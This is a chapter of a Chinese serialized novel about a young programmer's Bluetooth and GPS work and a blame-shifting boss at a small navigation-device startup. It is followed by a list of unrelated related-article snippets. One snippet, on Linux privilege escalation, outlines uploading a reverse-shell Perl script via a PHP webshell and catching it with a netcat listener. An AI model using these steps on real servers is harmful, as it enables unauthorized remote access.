《那些年啊,那些事——一个程序员的奋斗史》——44

蓝牙程序,对于写了几个小程序的段伏枥来说,其实并不是一个非常难以企及的目标。产品的蓝牙是用模块的方式,通过串口和CPU进行连接的,只需要发送相应的AT指令即可操作。因为通信的管道是串口,而串口基本上是每个CPU必备的,何况在Windows CE里面也有相应的串口驱动,所以这个蓝牙也不需要特别的驱动。像这样的蓝牙模块方式,在操作上是非常简便的,但缺点也是很明显,就是声音的控制无法统一。因为声音是直接从蓝牙模块发出来的,只要直接接上喇叭即可;看似简单,就是很难和系统CPU的音源统一。也就是说,当系统的音量调到最小甚至静音时,很可能蓝牙声音却是很大的。
   
    模块的另一种连接方式,则不是直接输出模拟音频,而是I2S,直接输入到CPU里面。因为音频是输入到CPU,然后CPU又输出,所以CPU不仅可以控制音量的大小,还能够给声音增加特效,比如什么音乐厅啊,Pop之类杂七杂八的。但这样的问题在于,这声音还需要相应的驱动,对程序员的要求比较高;不仅如此,也需要CPU有相应的I2S输入。只不过AU1200没有I2S接口,倒也省去不少麻烦,否则这驱动绝对是让段伏枥掉头发的。
   
    蓝牙还有一个指标,就是通话的质量,有无什么杂讯或回音之类,但这些却不属于段伏枥的职责,这是硬件所要注意的。只不过,采用这种完全模块的方式,其实连这点也不用考虑的:模块能做到什么水准,就必须要接受。唯一能改善的,就是选择不同的麦克风,以此对比质量而已。而对于软件,从总体上来说,并没有太多的技术难点,对于新手而言,可能就是多线程的配合。比如说,因为来电的时候,模块就会通过串口来发送信息告诉现在的状态,而这就必须要有一个线程一直在监控数据。看起来似乎和音频播放器差不多,但实际上要处理的意外还比较多的。音频播放器再怎么折腾,也是在同一个系统中;而蓝牙,则是和外部的模块交流。于是,有一些难点就来了:开始拨号,要有一个线程来监控数据,确定什么时候挂机;可如果在开始拨号,并且已经开始监控的时候,蓝牙模块突然接收到了来电,而这时发送的状态肯定不是预计所想的。那么就必须要重新清空之前的状态,更改相应的监控准则。类似的状况,还不止一种,如果互相交杂,那么就疲于应付了,段伏枥现在就处于这种状态。因为一开始的架构设计并不是非常好,如果遇到一种异常情况,就加多一个BOOL变量的标志,然后代码中再来一个esle if来延伸。随着异常的逐渐发现,标志也越来越多,else if也越来越长,到后来段伏枥已经觉得这代码膨胀地已经失控了,根本无法再受自己控制。
   
    状况无法掌控的情形,不仅出现在段伏枥,沈俊也是如此。在段伏枥开始写蓝牙程序几天之后,沈俊就已经从学校回来了。知道来了新硬件工程师,倒不觉得有什么不妥,反而非常高兴,因为觉得终于有人可以带自己了。只不过这高兴劲没持续多久,就被工作任务折磨得疲惫不堪:这个第二版有一个非常严重的问题,GPS收星非常差。这个问题在当年浩程微的时候也是如此,并且一直都没有很好地解决;而现在的状况比那时候更糟,以前的还能够偶尔接收到三颗卫星进行定位,现在的这个最多就只能接个两颗,从来无法定位。
   
    黄华中的说法是沈俊没经验没关系,他带着她来调试这GPS。可吊儿郎当的黄华中,说起话来倒是好听,但做起事来可真不敢恭维。虽然没有制度约束,大家都是九点之前来到办公室,可黄华中能在11点之前来到就是谢天谢地了;而每天等段伏枥他们下班之后,还要强制拉着沈俊加班,要知道那时候已经差不多11点了啊。对此沈俊也叫苦不迭:为何其它同事都已经下班了,她还要单独被留下和黄华中一起加班?到底打的是什么主意。所幸什么事情都没有发生,应该说,黄华中什么正经事都没有做——他就呆在办公室纯粹玩斗地主了。他唯一所做的事情,就是不停变化主意,让沈俊弄弄这个,测测那样。只可惜,这些简直是瞎指挥,还能有什么好的结果?
   
    武总对于这GPS的收星也非常关心,毕竟一个导航仪无法正常接收卫星信号,那算是什么?因此,武总基本上每天晚上都询问黄华中,而黄华中每次都会信誓旦旦地说:“经过今天的各种调试,现在GPS信号非常好,不到一分钟就能够定位。你要知道,为了这个,我搞得头都疼了。”的确是搞得头都疼了,不过并不是因为调试这GPS模块,而是因为斗地主搞的。
   
    等到第二天,武总过来查看状况,发现这收星没有之前所说那么完美,质问黄华中的时候,黄华中就会非常义正言辞地说:“沈俊,这GSP怎么回事?昨天晚上我一直测试到晚上3点钟,一直都是好好的。你是不是今天弄了什么?”
   
    沈俊上班到现在,都没碰过黄华中办公室的那片板子,自然反驳到:“我什么都没弄啊!”
   
    黄华中暴跳如雷,气愤地说:“怎么可能?你肯定是在上面弄了什么!之前这板子都是好好的!我不管,你负责将这板子给弄好!”
   
    弄好?怎么弄啊?这板子之前是好的,鬼才信!调试到3点?估计是玩游戏到3点吧?可人家是老大,能说些什么呢?在武总面前总不能拂老大的面子吧?于是,每逢这时候,沈俊总是强忍委屈,默默含着泪开始毫无头绪折腾这该死的GPS模块。
   
    这种类似的推卸责任,其实也发生在曹燕身上。只不过曹燕没有像沈俊那般忍气吞声,而是当场反驳,颇有种誓不低头的气势,黄华中见状,知道无法将责任强加于她身上,便也什么话都没说了。这么顶撞黄华中,曹燕本以为自己免不了要吃一顿炒鱿鱼,可没想到什么事情也没发生,反而后续黄华中对自己还客客气气的。欺软怕硬,看来是黄华中的本性。虽然曹燕后来告诉沈俊,有一些事情如果并不是自己的责任,必须要硬起来。可沈俊虽然听进去了,却不敢付诸于行动,理由很简单:自己刚毕业,什么都不懂,好不容易有这么个机会,可以长进技术水平,不想因为和老大冲突而导致离开。
   
    听起来,沈俊的想法是有一点道理,但如果再细想,却并非如此。现在公司是一个什么状况?人员只有三四个人,一间小小的办公室也破破落落,没有社保,没有任何福利,有几个有经验的人士会过来?如果薪水开得很高,也许还能招到一些水平不错的,可估计武总根本就不会舍得出钱。所能招的,也就是一些毫无经验,什么都不懂的应届生。从这个角度来说,也不难理解为何沈俊虽然来得比曹燕早,但却经常受到黄华中呵斥,而对曹燕却客客气气——因为曹燕是有经验的,难得骗来一个;沈俊属于应届生,满街一抓一大把。
   
    段伏枥也知道自己在公司的位置举足轻重:张文香是管采购的,也就会买卖元器件,顺便兼任一下日常事务;黄华中、沈俊和曹燕都是做硬件的,对软件可谓一窍不通;另外一个做软件的柳,可惜也不思进取,只能凭着以前单片机的经验做做底层驱动的调试,对于应用程序绝对没有半点涉猎;因此只剩下段伏枥一人,顶起了公司应用程序的一边天。这边天可不能倒啊,没有应用程序的公司要怎么继续生存下去?虽然黄华中做人不靠谱,但这点厉害关系还是看得清清楚楚的,所以对于段伏枥也是非常客客气气。不仅如此,还口口声声称段伏枥为兄弟,让人感觉关系非常铁。
   
    所幸段伏枥不是那种恃宠而骄的人,虽然对此也心知肚明,但还是和以前一样,恭恭敬敬称呼黄华中为老大,对于老柳也颇为尊敬。很多初出茅庐的应届生,当上头对他有所青睐的时候,往往容易得意忘形,开始看很多同事都不顺眼。于是慢慢地,很多同事都看不惯他,慢慢他也就被孤立,甚至还有可能被同事在背后捅刀子,最后导致一发不可收拾的悲惨结果。
   
    应届生的技术水平普遍不咋地,提高自己的技术水平是首要任务,毕竟关系到自己的前途。可在提高技术水平的同时,也不能忘记人际关系的磨练,可偏偏很多应届生就栽在这里。同事间的关系不像同学,同学关系其实非常单纯,没有任何利益关系;而同事呢,更多的是一种利益,如果这利益互相没有冲突,那么还好,但如果有冲突的话,因为一个萝卜也就一个坑,如果那个坑被占满了,那么其它的萝卜也种不进去。所以这时候,不是同事踩着自己,就是自己踩着同事,总之爬上去的只有一个人。因此,如何正确处理同事间的关系,便显得尤为重要。
   
    所幸的是,现在利剑公司就只有这么几个人,所以这些勾心斗角的关系还不存在。因此段伏枥还能不管这些人际关系,可以心无旁骛地专研技术,这应该也算是不幸中的大幸了。

转载于:https://www.cnblogs.com/wangfengju/archive/2011/11/02/6172937.html

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/261180.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

matlab 开普勒方程,第二章 开普勒方程.ppt

3.1 开普勒轨道根数 轨道根数描述 轨道大小 半长轴a 常数 轨道形状 偏心率e 常数 轨道面方位 轨道倾角i和升交点赤经Ω 常数 轨道方位 近地点角距ω 常数 航天器在轨道中的位置 真近点角f 非均匀变化 平近点角M 均匀变化 纬度幅角ωf 非均匀变化 3.2 开普勒轨道根数与星下点轨迹…

读取XML文件的节点内的内容

<?xml version"1.0" encoding"utf-8" ?> <data> <tag3>15</tag3> <tag6>14</tag6> </data> Private Function GetXML(ByVal name As String) As String Dim path As String Dim xx As String "…

springmvc错误 Spring3.X jdk8 java.lang.IllegalArgumentException

最近在学习springmvc--碰到一个特别蛋疼的错误 javax.servlet.ServletException: Servlet.init() for servlet springMVC threw exceptionorg.apache.catalina.authenticator.AuthenticatorBase.invoke(AuthenticatorBase.java:504)org.apache.catalina.valves.ErrorReportValv…

网页音乐播放器代码

如果你也想往自己的博客里&#xff0c;网页里加入音乐播放器&#xff0c;只要复制下面的网页音乐播放器代码&#xff0c;做适当的修改就可以啦&#xff01;有很多播放器可以选择&#xff0c;不要挑花眼哦&#xff01; 中true或1表示自动播放&#xff0c;false或0表示手动播放 l…

matlab里面filename1,matlab 每次从一个txt文件(里面每行是一个图像名字,如1.jpg之类的)读取一行字符串...

这个也得同时统计文本文件里有多少行。code如下&#xff1a;用三种方法实现这样的读取clcclose allclear all% method one 这种方法很啰嗦&#xff0c;但是matlab却会一直支持textscan这个函数fid fopen(listName.txt);filename1 textscan(fid,%s);k length(filename1{1})…

Android 如何添加一种锁屏方式

前言 欢迎大家我分享和推荐好用的代码段~~声明 欢迎转载&#xff0c;但请保留文章原始出处&#xff1a; CSDN&#xff1a;http://www.csdn.net 雨季o莫忧离&#xff1a;http://blog.csdn.net/luckkof 正文 a) 定义lockscreen 的在type是在…

Linux下常见命令

安装和登陆命令 Mount&#xff1a;挂载命令。把存储介质指定成系统中的某个目录&#xff0c;比如挂载光驱mount /dev/cdrom把CDROM挂载&#xff0c;可在目录/mnt/cdrom下查看内容。 umount&#xff1a;卸载命令&#xff0c;比如umount /dev/cdrom exit&#xff1a;退出终端命令…

axure 鼠标样式,Axure8-动态面板+简单鼠标事件实现单页面应用

随着互联网的发展&#xff0c;各种网站技术以及网站的呈现技术层出不穷&#xff0c;网站的页面展现已经从之前的页面间跳转到现在大行其道的单页面应用&#xff0c;页面内容的切换不再需要进行页面的跳转了&#xff0c;使用起来更加舒适。功能在变化&#xff0c;技术在变迁&…

Visual Studio 内存泄漏检测方法

Visual Studio 内存泄漏检测方法非MFC程序可以用以下方法检测内存泄露&#xff1a;1.程序开始包含如下定义&#xff1a;#ifdef _DEBUG#define DEBUG_CLIENTBLOCK new( _CLIENT_BLOCK, __FILE__, __LINE__)#else#define DEBUG_CLIENTBLOCK#endif // _DEBUG#define _CRTDBG_MAP_A…

javaweb下载文件

//读取文件->写出文件 public static void main(String[] args) { InputStream in null; OutputStream out null; try{ File file new File("c:\\123.doc"); in new FileInputStream(file); out new FileOutputStream("c:\\666.doc"); int len 0; …

mysql如果数据不存在,则插入新数据,否则更新

//如果不存在&#xff0c;则插入新数据$sql "INSERT INTO {$ecs->table(‘cat_lang’)} (cat_id,lang_id,cat_name,keywords,cat_desc) VALUES({$cat_id},{$k},’{$val[cat_name]}’,{$val[keywords]}’,{$val[cat_desc]}’)ON DUPLICATE KEY UPDATE cat_name’{$val[…

Saltstack grains组件

grains是Saltstack最重要的组件之一&#xff0c;grains的作用是收集被控主机的基本信息&#xff0c;这些信息通常都是一些静态的数据&#xff0c;包括CPU、内核、操作系统、虚拟化等&#xff0c;在服务器端可以根据这些信息进行灵活定制&#xff0c;管理员可以利用这新信息对不…

android开发相关资料整理【2011-11-10】

常用的Android指令和模拟器参数如何在windows下不用Eclipse&#xff0c;用dos命令启动emulator呢&#xff1f;&#xff1f;&#xff1f;Android中的Task相关问题&#xff1a; Flag和LaunchMode同时起作用时的情况Service与ContentProvide的多实例与多线程问题avtivity之间的跳转…

php监听mq消息,客户端监听服务端获取rabbitmq消息队列,rabbitmq有消息的时候客户端刷新页面才能获取到消息,监听没起到作用,请求各位大神指点迷津...

header("Content-Type:text/html;charsetutf-8");use Workerman\Worker;require_once __DIR__ . /Autoloader.php;// 注意&#xff1a;这里与上个例子不同&#xff0c;使用的是websocket协议$ws_worker new Worker("websocket://192.168.1.218:5556");// …

c3p0配置

2019独角兽企业重金招聘Python工程师标准>>> <?xml version"1.0" encoding"utf-8"?> <c3p0-config> <named-config name"mysql"> <property name"user">root</property> …

The connection to adb is down

The connection to adb is down 有一周时间没有打开ADT了&#xff0c;最近想为我的APP增加下些新的功能&#xff0c;但是在编译的时候出现了一个奇怪问题 [2013-10-18 14:43:50 - zzbus] Android Launch![2013-10-18 14:43:50 - zzbus] The connection to adb is down, and a s…

linux溢出提权

先在网站目录上传1.pl,是个反弹脚本 Phpshell执行chmod x 1.pl&#xff0c;给1.pl执行权限&#xff0c;图0 然后执行 ./1.pl 本机IP 1224接着本机监听nc -vv -l -p 1224&#xff0c;图1 反弹成功 输入id bash-3.2$ id uid529(zeicom) gid525(zeicom) groups525(zeicom) bash-3.…

php 抽象类、接口和构析方法

<?php/*class Ren {public static $color;static function Show(){Car::$name;self::$color;} }class Car {public static $name; }*///抽象类 /*abstract class DongWu {public $dong;public $jiao;function Chi(){}function Shui(){} }*///接口关键字&#xff1a;interfa…

java的枚举

package com.wzh.test.enum0;import org.junit.Test;public class demo1 {Testpublic void testAb(){System.out.println(Ab.a.getValue());}//如果定义枚举的构造函数&#xff0c;方法和字段&#xff0c;去封装更多的信息enum Ab{a("100-90"),b("89-80"),…

matlab元胞矩阵赋值,matlab!怎么根据条件直接修改元胞数组中的矩阵

matlab&#xff01;怎么根据条件直接修改元胞数组中的矩阵mip版 关注:264 答案:2 悬赏:70解决时间 2021-01-28 07:03已解决2021-01-28 03:35我想实现这样的一个功能一个256*256的元胞数组Cel&#xff0c;每个元胞数组中都有一个15*4的矩阵Arr有15对256*256的矩阵a,b,c,d(分别…